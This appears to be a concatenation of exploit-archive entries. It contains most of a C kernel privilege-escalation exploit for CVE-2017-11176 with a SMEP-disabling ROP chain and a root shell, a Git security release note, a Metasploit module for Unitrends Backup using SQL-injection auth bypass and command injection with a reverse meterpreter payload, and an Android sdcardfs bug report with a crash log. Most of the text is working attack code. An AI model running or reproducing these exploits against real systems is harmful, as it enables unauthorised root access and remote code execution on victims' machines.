  sigev.sigev_value.sival_ptr = sival_buffer;
  sigev.sigev_signo = uta.sock_fd;

  printf("[ ] creating unblock thread...\n");
  if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)
  {
    perror("[-] pthread_create");
    goto fail;
  }
  while (uta.is_ready == false) // spinlock until thread is created
    ;
  printf("[+] unblocking thread has been created!\n");

  printf("[ ] get ready to block\n");
  if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF))
  {
    perror("[-] mq_notify");
    goto fail;
  }
  printf("[+] mq_notify succeed\n");

  return 0;

fail:
  return -1;
}

// ----------------------------------------------------------------------------

static int fill_receive_buffer(struct sock_pid *target, struct sock_pid *guard)
{
  char buf[1024*10];
  int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF

  struct sockaddr_nl addr = {
    .nl_family = AF_NETLINK,
    .nl_pad = 0,
    .nl_pid = target->pid, // use the target's pid
    .nl_groups = 0 // no groups
  };

  struct iovec iov = {
    .iov_base = buf,
    .iov_len = sizeof(buf)
  };

  struct msghdr mhdr = {
    .msg_name = &addr,
    .msg_namelen = sizeof(addr),
    .msg_iov = &iov,
    .msg_iovlen = 1,
    .msg_control = NULL,
    .msg_controllen = 0,
    .msg_flags = 0, 
  };

  printf("[ ] preparing blocking netlink socket\n");

  if (_setsockopt(target->sock_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
    perror("[-] setsockopt"); // no worry if it fails, it is just an optim.
  else
    printf("[+] receive buffer reduced\n");

  printf("[ ] flooding socket\n");
  while (_sendmsg(guard->sock_fd, &mhdr, MSG_DONTWAIT) > 0)
    ;
  if (errno != EAGAIN)
  {
    perror("[-] sendmsg");
    goto fail;
  }
  printf("[+] flood completed\n");

  printf("[+] blocking socket ready\n");

  return 0;

fail:
  printf("[-] failed to prepare blocking socket\n");
  return -1;
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

// ROP-chains
#define STORE_EAX(addr) \
  *stack++ = POP_RDI_ADDR; \
  *stack++ = (uint64_t)addr + 4; \
  *stack++ = MOV_PTR_RDI_MIN4_EAX_ADDR;
  
#define SAVE_ESP(addr) \
  STORE_EAX(addr);

#define SAVE_RBP(addr_lo, addr_hi) \
  *stack++ = MOV_RAX_RBP_ADDR;  \
  STORE_EAX(addr_lo); \
  *stack++ = SHR_RAX_16_ADDR; \
  *stack++ = SHR_RAX_16_ADDR; \
  STORE_EAX(addr_hi);

#define CR4_TO_RAX() \
  *stack++ = POP_RBP_ADDR; \
  *stack   = (unsigned long) stack + 2*8; stack++; /* skip 0xdeadbeef */ \
  *stack++ = MOV_RAX_CR4_LEAVE_ADDR; \
  *stack++ = 0xdeadbeef;  // dummy RBP value!

#define RDI_TO_CR4() \
  *stack++ = POP_RBP_ADDR; \
  *stack   = (unsigned long) stack + 2*8; stack++; /* skip 0xdeadbeef */ \
  *stack++ = MOV_CR4_RDI_LEAVE_ADDR; \
  *stack++ = 0xdeadbeef;  // dummy RBP value!

#define SMEP_MASK (~((uint64_t)(1 << 20))) // 0xffffffffffefffff

#define DISABLE_SMEP() \
  CR4_TO_RAX(); \
  *stack++ = POP_RDI_ADDR; \
  *stack++ = SMEP_MASK; \
  *stack++ = MOV_EDX_EDI_ADDR; \
  *stack++ = AND_RAX_RDX_ADDR; \
  *stack++ = MOV_EDI_EAX_ADDR; \
  RDI_TO_CR4();

#define JUMP_TO(addr) \
  *stack++ = POP_RCX_ADDR; \
  *stack++ = (uint64_t) addr; \
  *stack++ = JMP_RCX_ADDR;
  
// ----------------------------------------------------------------------------

extern void userland_entry(void); // make GCC happy

static __attribute__((unused)) void wrapper(void) 
{
  // avoid the prologue
  __asm__ volatile( "userland_entry:" :: );

  // reconstruct original rbp/rsp
  restored_rbp = ((saved_rbp_hi << 32) | saved_rbp_lo);
  restored_rsp = ((saved_rbp_hi << 32) | saved_esp);
  
  __asm__ volatile( "movq %0, %%rax\n"
                    "movq %%rax, %%rbp\n"
                    :: "m"(restored_rbp)  );

  __asm__ volatile( "movq %0, %%rax\n"  
                    "movq %%rax, %%rsp\n"
                    :: "m"(restored_rsp)  );

  uint64_t ptr = (uint64_t) &payload;
  __asm__ volatile( "movq %0, %%rax\n"
                    "call *%%rax\n"
                    :: "m"(ptr) );

  // arbitrary call primitive requires a non-null return value (i.e. non zero RAX register)
  __asm__ volatile( "movq $5555, %%rax\n"
                    :: );

  // avoid the epilogue and the "leave" instruction
  __asm__ volatile( "ret" :: );
}

// ----------------------------------------------------------------------------

static void build_rop_chain(uint64_t *stack)
{
  memset((void*)stack, 0xaa, 4096);

  SAVE_ESP(&saved_esp);
  SAVE_RBP(&saved_rbp_lo, &saved_rbp_hi);
  DISABLE_SMEP();
  JUMP_TO(&userland_entry);
}

// ----------------------------------------------------------------------------

static int allocate_uland_structs(void)
{
  // arbitrary value, must not collide with already mapped memory (/proc/<PID>/maps)
  void *starting_addr = (void*) 0x20000000;
  size_t max_try = 10;

retry:
  if (max_try-- <= 0)
  {
    printf("[-] failed to allocate structures at fixed location\n");
    return -1;
  }

  starting_addr += 4096;

  g_fake_stack = (char*) _mmap(starting_addr, 4096, PROT_READ|PROT_WRITE,
    MAP_FIXED|MAP_SHARED|MAP_ANONYMOUS|MAP_LOCKED|MAP_POPULATE, -1, 0);
  if (g_fake_stack == MAP_FAILED)
  {
    perror("[-] mmap");
    goto retry;
  }

  g_uland_wq_elt = (struct wait_queue*) _mmap(g_fake_stack + 0x100000000, 4096, PROT_READ|PROT_WRITE,
    MAP_FIXED|MAP_SHARED|MAP_ANONYMOUS|MAP_LOCKED|MAP_POPULATE, -1, 0);
  if (g_uland_wq_elt == MAP_FAILED)
  {
    perror("[-] mmap");
    munmap((void*)g_fake_stack, 4096);
    goto retry;
  }

  // paranoid check
  if ((char*)g_uland_wq_elt != ((char*)g_fake_stack + 0x100000000))
  {
    munmap((void*)g_fake_stack, 4096);
    munmap((void*)g_uland_wq_elt, 4096);
    goto retry;
  }

  printf("[+] userland structures allocated:\n");
  printf("[+] g_uland_wq_elt = %p\n", g_uland_wq_elt);
  printf("[+] g_fake_stack   = %p\n", g_fake_stack);

  return 0;
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

static bool can_use_realloc_gadget(void)
{
  int fd;
  int ret;
  bool usable = false;
  char buf[32];

  if ((fd = _open("/proc/sys/net/core/optmem_max", O_RDONLY)) < 0)
  {
    perror("[-] open");
    // TODO: fallback to sysctl syscall
    return false; // we can't conclude, try it anyway or not ?
  }

  memset(buf, 0, sizeof(buf));
  if ((ret = _read(fd, buf, sizeof(buf))) <= 0)
  {
    perror("[-] read");
    goto out;
  }
  printf("[ ] optmem_max = %s", buf);

  if (atol(buf) > 512) // only test if we can use the kmalloc-1024 cache
    usable = true;

out:
  _close(fd);
  return usable;
}

// ----------------------------------------------------------------------------

static int init_realloc_data(void)
{
  struct cmsghdr *first;
  int* pid = (int*)&g_realloc_data[NLK_PID_OFFSET];
  void** groups = (void**)&g_realloc_data[NLK_GROUPS_OFFSET];
  struct wait_queue_head *nlk_wait = (struct wait_queue_head*) &g_realloc_data[NLK_WAIT_OFFSET];

  memset((void*)g_realloc_data, 'A', sizeof(g_realloc_data));

  // necessary to pass checks in __scm_send()
  first = (struct cmsghdr*) &g_realloc_data;
  first->cmsg_len = sizeof(g_realloc_data);
  first->cmsg_level = 0; // must be different than SOL_SOCKET=1 to "skip" cmsg
  first->cmsg_type = 1; // <---- ARBITRARY VALUE

  // used by reallocation checker
  *pid = MAGIC_NL_PID;
  *groups = MAGIC_NL_GROUPS;

  // the first element in nlk's wait queue is our userland element (task_list field!)
  BUILD_BUG_ON(offsetof(struct wait_queue_head, task_list) != WQ_HEAD_TASK_LIST_OFFSET);
  nlk_wait->slock = 0;
  nlk_wait->task_list.next = (struct list_head*)&g_uland_wq_elt->task_list;
  nlk_wait->task_list.prev = (struct list_head*)&g_uland_wq_elt->task_list;

  // initialise the "fake" second element (because of list_for_each_entry_safe())
  g_fake_next_elt.next = (struct list_head*)&g_fake_next_elt; // point to itself
  g_fake_next_elt.prev = (struct list_head*)&g_fake_next_elt; // point to itself

  // initialise the userland wait queue element
  BUILD_BUG_ON(offsetof(struct wait_queue, func) != WQ_ELMT_FUNC_OFFSET);
  BUILD_BUG_ON(offsetof(struct wait_queue, task_list) != WQ_ELMT_TASK_LIST_OFFSET);
  g_uland_wq_elt->flags = WQ_FLAG_EXCLUSIVE; // set to exit after the first arbitrary call
  g_uland_wq_elt->private = NULL; // unused
  g_uland_wq_elt->func = (wait_queue_func_t) XCHG_EAX_ESP_ADDR; // <----- arbitrary call! 
  g_uland_wq_elt->task_list.next = (struct list_head*)&g_fake_next_elt;
  g_uland_wq_elt->task_list.prev = (struct list_head*)&g_fake_next_elt;
  printf("[+] g_uland_wq_elt.func = %p\n", g_uland_wq_elt->func);

  return 0;
}

// ----------------------------------------------------------------------------

static bool check_realloc_succeed(int sock_fd, int magic_pid, unsigned long magic_groups)
{
  struct sockaddr_nl addr;
  size_t addr_len = sizeof(addr);

  memset(&addr, 0, sizeof(addr));
  // this will invoke "netlink_getname()" (uncontrolled read)
  if (_getsockname(sock_fd, &addr, &addr_len))
  {
    perror("[-] getsockname");
    goto fail;
  }
  printf("[ ] addr_len = %lu\n", addr_len);
  printf("[ ] addr.nl_pid = %d\n", addr.nl_pid);
  printf("[ ] magic_pid = %d\n", magic_pid);

  if (addr.nl_pid != magic_pid)
  {
    printf("[-] magic PID does not match!\n");
    goto fail;
  }

  if (addr.nl_groups != magic_groups) 
  {
    printf("[-] groups pointer does not match!\n");
    goto fail;
  }

  return true;
  
fail:
  printf("[-] failed to check realloc success status!\n");
  return false;
}


// ----------------------------------------------------------------------------

static int init_unix_sockets(struct realloc_thread_arg * rta)
{
  struct timeval tv;
  static int sock_counter = 0;

  if (((rta->recv_fd = _socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) ||
      ((rta->send_fd = _socket(AF_UNIX, SOCK_DGRAM, 0)) < 0))
  {
    perror("[-] socket");
    goto fail;
  }

  // bind an "abstract" socket (first byte is NULL)
  memset(&rta->addr, 0, sizeof(rta->addr));
  rta->addr.sun_family = AF_UNIX;
  sprintf(rta->addr.sun_path + 1, "sock_%lx_%d", _gettid(), ++sock_counter);
  if (_bind(rta->recv_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr)))
  {
    perror("[-] bind");
    goto fail;
  }

  if (_connect(rta->send_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr)))
  {
    perror("[-] connect");
    goto fail;
  }

  // set the timeout value to MAX_SCHEDULE_TIMEOUT
  memset(&tv, 0, sizeof(tv));
  if (_setsockopt(rta->recv_fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)))
  {
    perror("[-] setsockopt");
    goto fail;
  }

  return 0;

fail:
  // TODO: release everything
  printf("[-] failed to initialize UNIX sockets!\n");
  return -1;
}

// ----------------------------------------------------------------------------

static void* realloc_thread(void *arg)
{
  struct realloc_thread_arg *rta = (struct realloc_thread_arg*) arg;
  struct msghdr mhdr;
  char buf[200];

  // initialize msghdr
  struct iovec iov = {
    .iov_base = buf,
    .iov_len = sizeof(buf),
  };
  memset(&mhdr, 0, sizeof(mhdr));
  mhdr.msg_iov = &iov;
  mhdr.msg_iovlen = 1;

  // the thread should inherit main thread cpumask, better be sure and redo-it!
  if (migrate_to_cpu0())
    goto fail;

  // make it block
  while (_sendmsg(rta->send_fd, &mhdr, MSG_DONTWAIT) > 0)
    ;
  if (errno != EAGAIN)
  { 
    perror("[-] sendmsg");
    goto fail;
  }

  // use the arbitrary data now
  iov.iov_len = 16; // don't need to allocate lots of memory now
  mhdr.msg_control = (void*)g_realloc_data; // use the ancillary data buffer
  mhdr.msg_controllen = sizeof(g_realloc_data);

  g_nb_realloc_thread_ready++;

  while (!g_realloc_now) // spinlock until the big GO!
    ;

  // the next call should block while "reallocating"
  if (_sendmsg(rta->send_fd, &mhdr, 0) < 0)
  {
    perror("[-] sendmsg");
    goto fail;
  }

  return NULL;

fail:
  printf("[-] REALLOC THREAD FAILURE!!!\n");
  return NULL;
}

// ----------------------------------------------------------------------------

static int init_reallocation(struct realloc_thread_arg *rta, size_t nb_reallocs)
{
  int thread = 0;
  int ret = -1;

  if (!can_use_realloc_gadget())
  {
    printf("[-] can't use the 'ancillary data buffer' reallocation gadget!\n");
    goto fail;
  }
  printf("[+] can use the 'ancillary data buffer' reallocation gadget!\n");

  if (init_realloc_data())
  {
    printf("[-] failed to initialize reallocation data!\n");
    goto fail;
  }
  printf("[+] reallocation data initialized!\n");

  printf("[ ] initializing reallocation threads, please wait...\n");
  for (thread = 0; thread < nb_reallocs; ++thread)
  {
    if (init_unix_sockets(&rta[thread]))
    {
      printf("[-] failed to init UNIX sockets!\n");
      goto fail;
    }

    if ((ret = pthread_create(&rta[thread].tid, NULL, realloc_thread, &rta[thread])) != 0)
    {
      perror("[-] pthread_create");
      goto fail;
    }
  }

  // wait until all threads have been created
  while (g_nb_realloc_thread_ready < nb_reallocs)
    _sched_yield(); // don't run me, run the reallocator threads!

  printf("[+] %lu reallocation threads ready!\n", nb_reallocs);

  return 0;

fail:
  printf("[-] failed to initialize reallocation\n");
  return -1;
}

// ----------------------------------------------------------------------------

// keep this inlined, we can't loose any time (critical path)
static inline __attribute__((always_inline)) void realloc_NOW(void)
{
  g_realloc_now = 1;
  _sched_yield(); // don't run me, run the reallocator threads!
  sleep(5);
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

int main(void)
{
  int sock_fd2 = -1;
  int val;
  struct realloc_thread_arg rta[NB_REALLOC_THREADS];

  printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");

  if (migrate_to_cpu0())
  {
    printf("[-] failed to migrate to CPU#0\n");
    goto fail;
  }
  printf("[+] successfully migrated to CPU#0\n");

  if (allocate_uland_structs())
  {
    printf("[-] failed to allocate userland structures!\n");
    goto fail;
  }

  build_rop_chain((uint64_t*)g_fake_stack);
  printf("[+] ROP-chain ready\n");

  memset(rta, 0, sizeof(rta));
  if (init_reallocation(rta, NB_REALLOC_THREADS))
  {
    printf("[-] failed to initialize reallocation!\n");
    goto fail;
  }
  printf("[+] reallocation ready!\n");

  if (find_netlink_candidates(&g_target, &g_guard))
  {
    printf("[-] failed to find netlink candidates\n");
    goto fail;
  }
  printf("[+] netlink candidates ready:\n");
  printf("[+] target.pid = %d\n", g_target.pid);
  printf("[+] guard.pid  = %d\n", g_guard.pid);

  if (fill_receive_buffer(&g_target, &g_guard))
    goto fail;

  if (((unblock_fd = _dup(g_target.sock_fd)) < 0) ||
      ((sock_fd2 = _dup(g_target.sock_fd)) < 0))
  {
    perror("[-] dup");
    goto fail;
  }
  printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);

  // trigger the bug twice AND immediatly realloc!
  if (decrease_sock_refcounter(g_target.sock_fd, unblock_fd) ||
      decrease_sock_refcounter(sock_fd2, unblock_fd))
  {
    goto fail;
  }
  realloc_NOW();

  // close it before invoking the arbitrary call
  close(g_guard.sock_fd);
  printf("[+] guard socket closed\n");

  if (!check_realloc_succeed(unblock_fd, MAGIC_NL_PID, MAGIC_NL_GROUPS))
  {
    printf("[-] reallocation failed!\n");
    // TODO: retry the exploit
    goto fail;
  }
  printf("[+] reallocation succeed! Have fun :-)\n");


  // trigger the arbitrary call primitive
  printf("[ ] invoking arbitrary call primitive...\n");
  val = 3535; // need to be different than zero
  if (_setsockopt(unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
  {
    perror("[-] setsockopt");
    goto fail;
  }
  printf("[+] arbitrary call succeed!\n");

  printf("[+] exploit complete!\n");

  printf("[ ] popping shell now!\n");
  char* shell = "/bin/bash";
  char* args[] = {shell, "-i", NULL};
  execve(shell, args, NULL);

  return 0;

fail:
  printf("[-] exploit failed!\n");
  PRESS_KEY();
  return -1;
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================
            
These releases fix a security flaw (CVE-2018-17456), which allowed an
attacker to execute arbitrary code by crafting a malicious .gitmodules
file in a project cloned with --recurse-submodules.

When running "git clone --recurse-submodules", Git parses the supplied
.gitmodules file for a URL field and blindly passes it as an argument
to a "git clone" subprocess.  If the URL field is set to a string that
begins with a dash, this "git clone" subprocess interprets the URL as
an option.  This can lead to executing an arbitrary script shipped in
the superproject as the user who ran "git clone".

In addition to fixing the security issue for the user running "clone",
the 2.17.2, 2.18.1 and 2.19.1 releases have an "fsck" check which can
be used to detect such malicious repository content when fetching or
accepting a push. See "transfer.fsckObjects" in git-config(1).

Credit for finding and fixing this vulnerability goes to joernchen
and Jeff King, respectively.

P.S. Folks at Microsoft tried to follow the known exploit recipe on
Git for Windows (but not Cygwin or other Git implementations on
Windows) and found that the recipe (or its variants they can think
of) would not make their system vulnerable.  This is due to the fact
that the type of submodule path require by the known exploit recipe
cannot be created on Windows.  Nonetheless, it is possible we have
missed some exploitation path and users are encouraged to upgrade.
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Unitrends UEB http api remote code execution',
      'Description'    => %q{
        It was discovered that the api/storage web interface in Unitrends Backup (UB)
        before 10.0.0 has an issue in which one of its input parameters was not validated.
        A remote attacker could use this flaw to bypass authentication and execute arbitrary
        commands with root privilege on the target system.
        UEB v9 runs the api under root privileges and api/storage is vulnerable.
        UEB v10 runs the api under limited privileges and api/hosts is vulnerable.
      },
      'Author'         =>
        [
          'Cale Smith',    # @0xC413
          'Benny Husted', # @BennyHusted
          'Jared Arave',   # @iotennui
          'h00die'
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => 'linux',
      'Arch' => [ARCH_X86],
      'CmdStagerFlavor' => [ 'printf' ],
      'References'     =>
        [
          ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000TO5PAAW/000005756'],
          ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000006002'],
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12478'],
          ['URL', 'http://blog.redactedsec.net/exploits/2018/01/29/UEB9.html'],
          ['EDB', '44297'],
          ['CVE', '2017-12478'],
          ['CVE', '2018-6328']
        ],
      'Targets'        =>
        [
          [ 'UEB 9.*', { 'Privileged' => true} ],
          [ 'UEB < 10.1.0', { 'Privileged' => false} ]
        ],
      'DefaultOptions' => {
          'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
          'SSL' => true
        },
      'DisclosureDate'  => 'Aug 8 2017',
      'DefaultTarget'   => 0))
    register_options(
      [
        Opt::RPORT(443),
        OptBool.new('SSL', [true, 'Use SSL', true])
      ])
    deregister_options('SRVHOST', 'SRVPORT')
  end

  def auth_token
    session = "v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0"  #SQLi auth bypass
    Base64.strict_encode64(session) #b64 encode session token
  end

  def check
    res = send_request_cgi!({
        'method' => 'GET',
        'uri'    => '/api/systems/details',
        'ctype'  => 'application/json',
        'headers' =>
        {'AuthToken' => auth_token}
      })
    if res && res.code == 200
      print_good("Good news, looks like a vulnerable version of UEB.")
      return CheckCode::Appears
    else
      print_bad('Host does not appear to be vulnerable.')
    end
    return CheckCode::Safe
  end

  #substitue some charactes
  def filter_bad_chars(cmd)
    cmd.gsub!("\\", "\\\\\\")
    cmd.gsub!("'", '\\"')
  end

  def execute_command(cmd, opts = {})
    if target.name == 'UEB 9.*'
      #substitue the cmd into the hostname parameter
      parms = %Q|{"type":4,"name":"_Stateless","usage":"stateless","build_filesystem":1,"properties":{"username":"aaaa","password":"aaaa","hostname":"`|
      parms << filter_bad_chars(cmd)
      parms << %Q|` &","port":"2049","protocol":"nfs","share_name":"aaa"}}|
      uri = '/api/storage'
    elsif target.name == 'UEB < 10.1.0'
      parms = %Q|{"name":"ffff","ip":"10.0.0.200'\\"`0&|
      parms << filter_bad_chars(cmd)
      parms << %Q|`'"}|
      uri = '/api/hosts'
    end

    res = send_request_cgi({
      'uri' => uri,
      'method' => 'POST',
      'ctype'  => 'application/json',
      'encode_params' => false,
      'data'   => parms,
      'headers' =>
        {'AuthToken' => auth_token}
    })

    if res && res.code != 500
      fail_with(Failure::UnexpectedReply,'Unexpected response')
    end
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
  end

  def exploit
    print_status("#{peer} - Sending requests to UEB...")
    execute_cmdstager(:linemax => 120)
  end
end
            
Tested on a Pixel 2 (walleye):
[ro.build.ab_update]: [true]
[ro.build.characteristics]: [nosdcard]
[ro.build.date]: [Mon Jun  4 22:10:18 UTC 2018]
[ro.build.date.utc]: [1528150218]
[ro.build.description]: [walleye-user 8.1.0 OPM2.171026.006.G1 4820017 release-keys]
[ro.build.display.id]: [OPM2.171026.006.G1]
[ro.build.expect.baseband]: [g8998-00202-1802061358]
[ro.build.expect.bootloader]: [mw8998-002.0069.00]
[ro.build.fingerprint]: [google/walleye/walleye:8.1.0/OPM2.171026.006.G1/4820017:user/release-keys]
[ro.build.flavor]: [walleye-user]
[ro.build.host]: [wprd10.hot.corp.google.com]
[ro.build.id]: [OPM2.171026.006.G1]
[ro.build.product]: [walleye]
[ro.build.system_root_image]: [true]
[ro.build.tags]: [release-keys]
[ro.build.type]: [user]
[ro.build.user]: [android-build]
[ro.build.version.all_codenames]: [REL]
[ro.build.version.base_os]: []
[ro.build.version.codename]: [REL]
[ro.build.version.incremental]: [4820017]
[ro.build.version.preview_sdk]: [0]
[ro.build.version.release]: [8.1.0]
[ro.build.version.sdk]: [27]
[ro.build.version.security_patch]: [2018-07-05]


Android used to use a FUSE filesystem to emulate external storage, but nowadays
an in-kernel filesystem called "sdcardfs" is used instead. This filesystem does
not exist in the upstream Linux kernel, but does exist in the AOSP common kernel
tree.

In sdcardfs_create() and sdcardfs_mkdir()
(https://android.googlesource.com/kernel/common/+/android-4.14/fs/sdcardfs/inode.c),
the following code is used to temporarily override the umask while calling into
the lower filesystem:

        /* temporarily change umask for lower fs write */
        saved_fs = current->fs;
        copied_fs = copy_fs_struct(current->fs);
        if (!copied_fs) {
                err = -ENOMEM;
                goto out_unlock;
        }
        current->fs = copied_fs;
        current->fs->umask = 0;
        [... access lower filesystem ...]
        current->fs = saved_fs;
        free_fs_struct(copied_fs);

This is wrong; as a comment in include/linux/sched.h explains, ->fs must not be
accessed without holding the corresponding task lock:

        /* Protection against (de-)allocation: mm, files, fs, tty, keyrings, mems_allowed, mempolicy: */
        spinlock_t                      alloc_lock;

For example, the procfs per-task entries "root" and "cwd" access the ->fs member
of remote tasks under the task lock:

        static int proc_cwd_link(struct dentry *dentry, struct path *path)
        {
                struct task_struct *task = get_proc_task(d_inode(dentry));
                int result = -ENOENT;

                if (task) {
                        task_lock(task);
                        if (task->fs) {
                                get_fs_pwd(task->fs, path);
                                result = 0;
                        }
                        task_unlock(task);
                        put_task_struct(task);
                }
                return result;
        }

This bug can be triggered by any context that can create files in an sdcardfs
mount, so normal applications with zero permissions can hit it (by using
/sdcard/Android/data/{packagename}/, which does not require the external storage
permission).


To reproduce the bug in a simple way, compile the attached poc_viaadb.c:

$ /usr/local/google/home/jannh/my-android-toolchain/bin/aarch64-linux-android-gcc -static -o poc_viaadb poc_viaadb.c -pthread

Push the resulting binary to the device, and run it:

        $ adb push poc_viaadb /data/local/tmp/
        poc_viaadb: 1 file pushed. 13.5 MB/s (2640776 bytes in 0.187s)
        $ adb shell /data/local/tmp/poc_viaadb

Now you should see a lot of "target: [...]" messages, followed by the device
freezing and rebooting.

After rebooting, pull a bug report via ADB ("adb bugreport") and look for a
crash message in the "LAST KMSG" section. The type of crash you see might vary,
since there's a lot of different ways in which this code can crash, but here's
an example of how it might look - a crash inside the memory allocator:


================================================================================
[  997.010495] c7   1718 Unable to handle kernel paging request at virtual address fffffff2873e1180
[  997.010522] c7   1718 pgd = 0000000000000000
[  997.010537] [fffffff2873e1180] *pgd=0000000000000000, *pud=0000000000000000
[  997.010632] c7   1718 ------------[ cut here ]------------
[  997.010646] c7   1718 Kernel BUG at 0000000000000000 [verbose debug info unavailable]
[  997.010661] c7   1718 Internal error: Oops - BUG: 96000005 [#1] PREEMPT SMP
[  997.010675] Modules linked in: htc_battery synaptics_dsx_rmi_dev_htc synaptics_dsx_fw_update_htc synaptics_dsx_core_htc
[  997.010721] c7   1718 CPU: 7 PID: 1718 Comm: GLThread 41 Not tainted 4.4.88-g3acf2d53921d #1
[  997.010736] c7   1718 Hardware name: Qualcomm Technologies, Inc. MSM8998 v2.1 (DT)
[  997.010750] c7   1718 task: 0000000000000000 task.stack: 0000000000000000
[  997.010776] c7   1718 PC is at kmem_cache_alloc+0x88/0x228
[  997.010798] c7   1718 LR is at kgsl_drawobj_cmd_add_cmdlist+0x120/0x1e4
[  997.010812] c7   1718 pc : [<ffffff9f4d9df18c>] lr : [<ffffff9f4de4e054>] pstate: 60400145
[  997.010824] c7   1718 sp : fffffff2058ebbb0
[  997.010836] x29: fffffff2058ebbf0 x28: fffffff2089c9b80 
[  997.010868] x27: ffffff9f501f4000 x26: fffffff2089c9b80 
[  997.010893] x25: fffffff18e07a448 x24: 0000000000000001 
[  997.010912] x23: fffffff2089c9b80 x22: fffffff239402b00 
[  997.010930] x21: fffffff2873e1180 x20: 00000000024000c0 
[  997.010952] x19: ffffff9f4de4e054 x18: 0000000000001600 
[  997.010959] x17: 0000007ea408ae34 x16: 00000000b0000000 
[  997.010965] x15: 000000017e4c0000 x14: 0000000000000006 
[  997.010972] x13: ffffff9f5008f490 x12: 0000000000000000 
[  997.010978] x11: 000000000012abd7 x10: 000000000012abcf 
[  997.010984] x9 : 0000000000000000 x8 : 000000000012abcf 
[  997.010990] x7 : 00000007fdcf4000 x6 : fffffff2058ebc28 
[  997.010996] x5 : fffffff2058ebc28 x4 : 0000000000000001 
[  997.011002] x3 : 0000000082cb5000 x2 : 0000000000000018 
[  997.011008] x1 : 00000000024000c0 x0 : fffffff239402b00 
[  997.011015] c7   1718 
[  997.011015] c7   1718 PC: 0xffffff9f4d9df14c:
[  997.011019] f14c  b9401ae9 51000529 b9001ae9 35000069 f94002e9 37080449 f94002c9 d538d08a
[  997.011040] f16c  8b090149 f940052a eb0a011f 54fffdc1 f9400135 b4000bb5 b98022c9 9100210b
[  997.011060] f18c  f8696ab8 b9401ae9 11000529 b9001ae9 f94002c9 d538d08a 8b090149 f9800131
[  997.011080] f1ac  c87f652a ca15014a ca080339 aa190159 b5000079 c82a2d38 35ffff4a b9401ae8
[  997.011101] c7   1718 
[  997.011101] c7   1718 LR: 0xffffff9f4de4e014:
[  997.011105] e014  b40004ca aa1703e1 2a1f03e2 97ee702c 910023e0 aa1603e1 aa1703e2 97f50b24
[  997.011125] e034  b5000420 b94023e4 12000888 34000408 f9471360 52801801 72a04801 97ee442d
[  997.011145] e054  aa0003e8 b40005a8 f9400be9 11000718 2a1f03e0 6b14031f f9001109 f9400fe9
[  997.011164] e074  910082d6 f9001509 b94027e9 b9001109 f94007e9 f9000d09 b94023e9 a9037d09
[  997.011185] c7   1718 
[  997.011185] c7   1718 SP: 0xfffffff2058ebb70:
[  997.011189] bb70  4de4e054 ffffff9f 058ebbb0 fffffff2 4d9df18c ffffff9f 60400145 00000000
[  997.011209] bb90  4fe2f270 ffffff9f 4fe2fe98 ffffff9f 00000000 00000080 4fe2cee8 ffffff9f
[  997.011230] bbb0  8e07a448 fffffff1 a2257020 fffffff1 00000001 00000000 00000020 00000000
[  997.011250] bbd0  0a083ac8 0000007e 4fe2cee8 ffffff9f 00000002 00000000 8e07a400 fffffff1
[  997.011270] c7   1718 
[  997.011274] c7   1718 Process GLThread 41 (pid: 1718, stack limit = 0x0000000000000000)
[  997.011278] c7   1718 Call trace:
[  997.011283] c7   1718 Exception stack(0xfffffff2058eba80 to 0xfffffff2058ebbb0)
[  997.011288] c7   1718 ba80: fffffff239402b00 00000000024000c0 0000000000000018 0000000082cb5000
[  997.011292] c7   1718 baa0: 0000000000000001 fffffff2058ebc28 fffffff2058ebc28 00000007fdcf4000
[  997.011297] c7   1718 bac0: 000000000012abcf 0000000000000000 000000000012abcf 000000000012abd7
[  997.011301] c7   1718 bae0: 0000000000000000 ffffff9f5008f490 0000000000000006 000000017e4c0000
[  997.011306] c7   1718 bb00: 00000000b0000000 0000007ea408ae34 0000000000001600 ffffff9f4de4e054
[  997.011310] c7   1718 bb20: 00000000024000c0 fffffff2873e1180 fffffff239402b00 fffffff2089c9b80
[  997.011315] c7   1718 bb40: 0000000000000001 fffffff18e07a448 fffffff2089c9b80 ffffff9f501f4000
[  997.011319] c7   1718 bb60: fffffff2089c9b80 fffffff2058ebbf0 ffffff9f4de4e054 fffffff2058ebbb0
[  997.011323] c7   1718 bb80: ffffff9f4d9df18c 0000000060400145 ffffff9f4fe2f270 ffffff9f4fe2fe98
[  997.011327] c7   1718 bba0: 0000008000000000 ffffff9f4fe2cee8
[  997.011332] c7   1718 [<ffffff9f4d9df18c>] kmem_cache_alloc+0x88/0x228
[  997.011337] c7   1718 [<ffffff9f4de4e054>] kgsl_drawobj_cmd_add_cmdlist+0x120/0x1e4
[  997.011342] c7   1718 [<ffffff9f4de3f3d8>] kgsl_ioctl_gpu_command+0x114/0x288
[  997.011347] c7   1718 [<ffffff9f4de4eb4c>] kgsl_ioctl_helper+0x134/0x1b8
[  997.011351] c7   1718 [<ffffff9f4de4ec00>] kgsl_ioctl+0x30/0xbc
